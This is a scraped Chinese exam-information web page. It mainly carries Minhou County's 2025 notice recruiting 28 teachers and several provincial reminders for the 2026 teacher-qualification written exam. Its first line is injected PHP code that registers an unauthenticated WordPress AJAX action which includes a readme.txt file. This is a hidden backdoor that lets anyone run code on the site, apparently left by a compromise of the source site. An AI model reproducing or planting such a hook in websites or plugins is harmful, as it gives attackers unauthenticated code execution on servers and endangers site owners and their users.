if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
福建省福州市闽侯县教育局2025年编制教师招聘28名公告-全国教师资格考试网

福建省福州市闽侯县教育局2025年编制教师招聘28名公告

闽侯县教育局关于2025年优秀教育人才招聘公告

闽侯县教育局定于2025年2月举办优秀教育人才专场招聘会,共招聘28名编制教师,现将有关事项公告如下:

一、招聘对象

1.博士。

2.硕士:一流大学建设高校硕士研究生;一流学科建设高校相应建设学科硕士研究生;一流学科建设师范院校硕士研究生;

3.本科:一流大学建设高校本科毕业生;一流学科建设高校相应建设学科本科毕业生;教育部直属师范大学师范类本科生。

备注:一流大学建设高校名单见2017年教育部、财政部、国家发展改革委《关于公布世界一流大学和一流学科建设高校及建设学科名单的通知》(详见附件3);一流学科建设高校名单见2022年教育部发布的第二轮“双一流”建设高校及建设学科名单(详见附件4)。

本次招聘对象不含福州市(含县区)在编教师和参聘教师,其他编制内人员报考,需在选岗前提供经单位主管部门同意并加盖公章的《同意报考函》或《同意离职证明》。

二、招聘条件

(一)应聘基本条件

1.具有中华人民共和国国籍;

2.遵守中华人民共和国宪法和法律;

3.具有良好的政治素质和道德品行;

4.具有正常履行职责的身体条件和心理素质;

5.年满18周岁;

6.符合岗位要求的资格条件和工作能力。

(二)不得报考或取消考试、聘用资格的

1.因犯罪受过刑事处罚的;

2.被开除公职的;

3.列为失信联合惩戒对象且尚未解除惩戒的;

4.在各级公务员或事业单位招考中被认定有舞弊等严重违反招考(聘)纪律行为,尚在禁止报考期限内的;

5.现役军人、试用期内的公务员(含参照公务员法管理的事业单位人员);

6.普通高等院校全日制在读的非应届毕业生;

7.符合《事业单位人事管理回避规定》聘用后即构成回避关系的;

8.法律法规、政策规定不得聘用为事业单位工作人员的其他情形。

三、招聘岗位及要求

1.招聘岗位:共28个中学教师岗位(详见附件1)。

2.年龄要求:本科毕业生与硕士学位研究生要求35周岁及以下(1989年2月至2007年2月期间出生);博士学位研究生放宽到40周岁及以下(1984年2月至2007年2月期间出生)。

3.学历学位要求:需持有相应层次的学历、学位,2025年的应届毕业生毕业证、学位证及相关证书可放宽至2025年8月1日前取得。

4.教师资格证要求:需持有相应学段、学科教师资格证。

5.普通话证书要求:语文教师岗位要求持有二级甲等及以上证书,其他岗位要求持有二级乙等及以上证书。

注:符合本批次公告要求的应聘人员,在报名时暂不要求提供教师资格证和普通话证书,要求报到之日起一年内必须取得相应学段、学科岗位规定的教师资格证和普通话证书,否则予以解聘。

四、报名时间及方式

1.报名时间:2025年2月17日08:00-21日17:30。

2.报名方式:采取网络报名。应聘人员须登录福建省事业单位公开招聘服务平台(http://220.160.53.33:8903/)进行报名,网络报名系统关闭后不再受理报名。

3.报名要求:资格审核贯穿全程。所有应聘人员应依规如实填报本人相关情况,并填写《报名表》(详见附件5)。每人仅限报考1个岗位(含闽侯县教育局同期发布的研究生专场招聘岗位)。

4.网络初审:应聘人员应于2月21日17:30前及时登录报名系统查看资格初审结果。对初审结果有疑议的需在2月22日17:30前通过报名系统上的申诉通道申述,逾期不再受理。

五、现场资格审核

1.审核对象:已通过网络资格初审的应聘人员。

2.审核时间:2025年2月25日08:00-26日17:00。

3.审核地点:福州市闽侯县甘蔗街道滨城大道73号滨江商务中心A栋3楼311(闽侯县教育局人事科),咨询电话0591-22986401。

4.审核要求:采用现场审核方式组织,未在规定时间内进行现场资格审核视为放弃报名资格。因特殊原因本人无法到场的,可委托他人携带应聘人员手写签名(加盖手印)的资格审核委托书、审核材料原件及复印件到场进行资格审核,所需材料详见附件2。

六、招聘办法

(一)第一类对象:直接考核招聘

1.招聘岗位:本公告附件1中所有岗位。

2.招聘范围:博士;部属师范大学公费师范生;北京大学、清华大学、中国人民大学硕士及本科生;北京师范大学硕士。

3.考核时间:2025年3月1日。

4.考核方式:由闽侯县教育局及用人单位组织面谈考核、双向选择确定拟聘用人选。参加考核人数与各岗位拟招聘人数不设比例限制。拟聘人选名单于3月3日前在闽侯县人民政府网站公布。

(二)第二类对象:面试考核招聘

1.招聘岗位:本公告附件1所列岗位减去第一类直接考核对象使用的相应岗位。具体岗位信息将与第一类对象拟聘人选名单一并公示。

2.招聘范围:除直接考核招聘的对象外,其余的应聘人员。

3.通过现场资格审核的应聘人员即为参加面试人员。参加面试人数与各岗位拟招聘人数不设比例限制,面试时间及地点另行通知(预计安排在3月中旬)。

4.面试内容。面试内容为片段教学,面试教材为相应学段学科教材。考生现场编写的教案不记分。

5.面试成绩:面试成绩采用百分制计算,保留小数点后两位,面试考核合格分数线设为70分,未达合格线的不予录用。招聘岗位不分面试组的,现场宣布的成绩即最终面试成绩;招聘岗位因参考人数多需进行分组面试的,现场宣布的成绩还需采用修正系数法进行修正后得到最终面试成绩。

各分组考生分数修正方法如下:

本组修正系数=本岗位所有考生面试现场宣布成绩的平均分÷本面试组考生面试现场宣布成绩的平均分。

考生最终面试成绩=该考生面试现场宣布成绩×修正系数。

考生面试现场宣布成绩、修正系数、最终面试成绩等将在闽侯县人民政府网站公布。

6.选岗要求:根据面试合格成绩从高分到低分按招考计划的1:1比例确定选岗人选。若出现末位同分的,则加试一场面试,按加试的面试成绩从高分到低分确定选岗人选。选岗人员因故放弃选岗资格,其空额在该岗位未进入选岗人员中根据成绩从高分到低分顺延递补,递补截止时间为拟聘人员签订就业协议之日起的第二个工作日。拟聘人员签订就业协议后因故放弃拟聘资格的,不再进行递补。具体要求另行通知。

7.结果公示:拟聘用人员名单公示7个工作日。公示结果影响聘用的,取消拟聘用资格。

8.若特殊原因导致面试时间及考核组织方式变化,将另行通过闽侯县人民政府网站通知。本次考试不指定考试辅导用书,不举办也不委托任何机构举办考试辅导培训班。

七、聘用规定

1.拟聘用人员均须参加由县教育局组织的体检及岗前培训,体检及岗前培训合格的方可聘用。体检按福建省教育厅、福建省卫生和计划生育委员会颁布的《福建省教师资格申请人员体检标准及办法(2018年修订)》执行。体检对象对体检结果有疑问的,可在得知体检结果之日起7日内向招聘单位主管部门提出复检申请,复检只能进行一次,以复检结果为准。体检及岗前培训有关事项另行通知。

2.拟聘用人员的试用期为一年,在试用期间聘任在专业见习期(专业初期)岗位。试用期满由用人单位按照相应岗位聘任条件(或竞聘方案)予以办理聘用手续,考核不合格予以解聘。

3.拟聘用人员完成体检、考察等程序后办理入编手续,具体要求另行通知。

4.拟聘用人员有下列情况之一的不予聘用:(1)以虚报、隐瞒或伪造、涂改有关材料及其它非法手段取得考试资格的;(2)未在规定时间内提供岗位报名条件所需的相关证件(书)或相关证件(书)审核不合格的;(3)体检、岗前培训不合格的;(4)未按时来档或审档、考察不合格的;(5)与原单位有签订聘用合同的人员未能与原单位解除聘用合同的;(6)福建省外生源的教育部直属重点师范大学公费师范生未能按时与生源所在省份和接收省份(福建省)省级教育行政部门办妥跨省任教就业手续的。

5.拟聘用人员在报名时提供的本人联系电话、电子邮箱等,原则上要求在2025年9月1日前不得更改。若因特殊原因变更的,应聘人员应在变更后三日内告知闽侯县教育局人事科(电话:0591-22986401)。

6.拟聘用人员正式报到时间暂定为2025年8月16日。

7.拟聘用人员在本县最低服务年限为五年(含试用期一年),服务满五年后,可申请参加县内教师校际交流。有享受人才奖励金等相关补贴的教师服务期为十年。人才奖励政策及违约责任等其他未尽事宜按照《闽侯县教育系统人才引进实施办法(试行)》(侯委人才办〔2021〕1号)和《闽侯县教育系统人才引进实施办法补充规定(试行)》(侯委人才办〔2024〕2号)等文件规定执行。

八、其他说明

1.境内学历和学位(含自学考试、成人教育、网络教育、夜大、电大等)应在中国高等教育学生信息网(简称“学信网”,http://www.chsi.com.cn/)上可查询认证。

2.取得境外学历学位证书报名者应提供教育部留学服务中心出具的学历学位认证书,证书信息原则上应在中国留学网(http://www.cscse.edu.cn/)上可查询认证。

3.福建省“双专业”、“双学位”毕业生的毕业证书、学位证书应在福建省人民政府网站“双学位双专业”查询平台(http://www.fujian.gov.cn/cspuc/bsfw/search_sxwszy)可查询认证。

4.以辅修专业报考的,应同时取得国家承认的列入国民教育序列学历毕业证书或学位证书,并且辅修专业信息可在“学信网”上查询。

5.专业条件设置为“××类”的招聘岗位,符合《福建省机关事业单位招考专业指导目录(2024年)》中“××类”所列专业的报考者准予报考;专业条件设置为具体专业名称的招聘岗位,符合所列专业(详见本公告附表各有关岗位)的报考者准予报考。对博士和留学人员的专业要求按相近原则认定。

6.国内院校与国外院校联合办学取得国内学历学位的,按国内院校毕业生报考,应由国内院校出具相应的证明。属国内院校与国外院校联合办学取得国外学历学位的,需出具教育部留学服务中心的《联合办学学历学位评估意见书》或《联合办学学历学位认证书》。

7.允许应聘人员按符合条件要求的其低学历报考相应岗位。应聘考生网络报名时需在岗位备注中注明“本人以××学历层次报考本岗位”。

8.部分岗位对个别专业有研究方向要求的(指本公告附表“专业要求”栏中所列专业后标有某某学科或方向的),允许面试资格审核时提交由毕业高校出具的《专业研究方向证明》(加盖院系公章,并附工作人员联系电话号码)。毕业证书中的专业名称已明确“某某学科或方向”的可不必另行提供《专业研究方向证明》。

9.本公告按“月日”格式写的时间均指2025年。

九、咨询和监督

本次招聘由闽侯县人力资源和社会保障局指导、闽侯县教育局组织实施。闽侯县人民政府网《教师招录》栏(网址:http://www.minhou.gov.cn/xjwz/zwgk/zdlyxxgk/jydt/jszl/)是发布招考相关信息的主要渠道,请考生密切关注上述网站,或通过电话咨询招聘单位,同时应确保手机畅通方便招聘单位联系。

联系电话:闽侯县教育局人事科0591-22986401,闽侯县人力资源和社会保障局0591-22928759。

监督电话:0591-22067567。

本公告由闽侯县教育局负责解释,未尽事宜按相关政策法规办理。

附件:

1.优秀教育人才招聘岗位需求表.xls

2.资格审核材料清单.xls

3.“一流大学”建设高校名单.pdf

4.“一流学科”建设高校及建设学科名单.pdf

5.报名表.doc

闽侯县教育局

2025年2月7日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部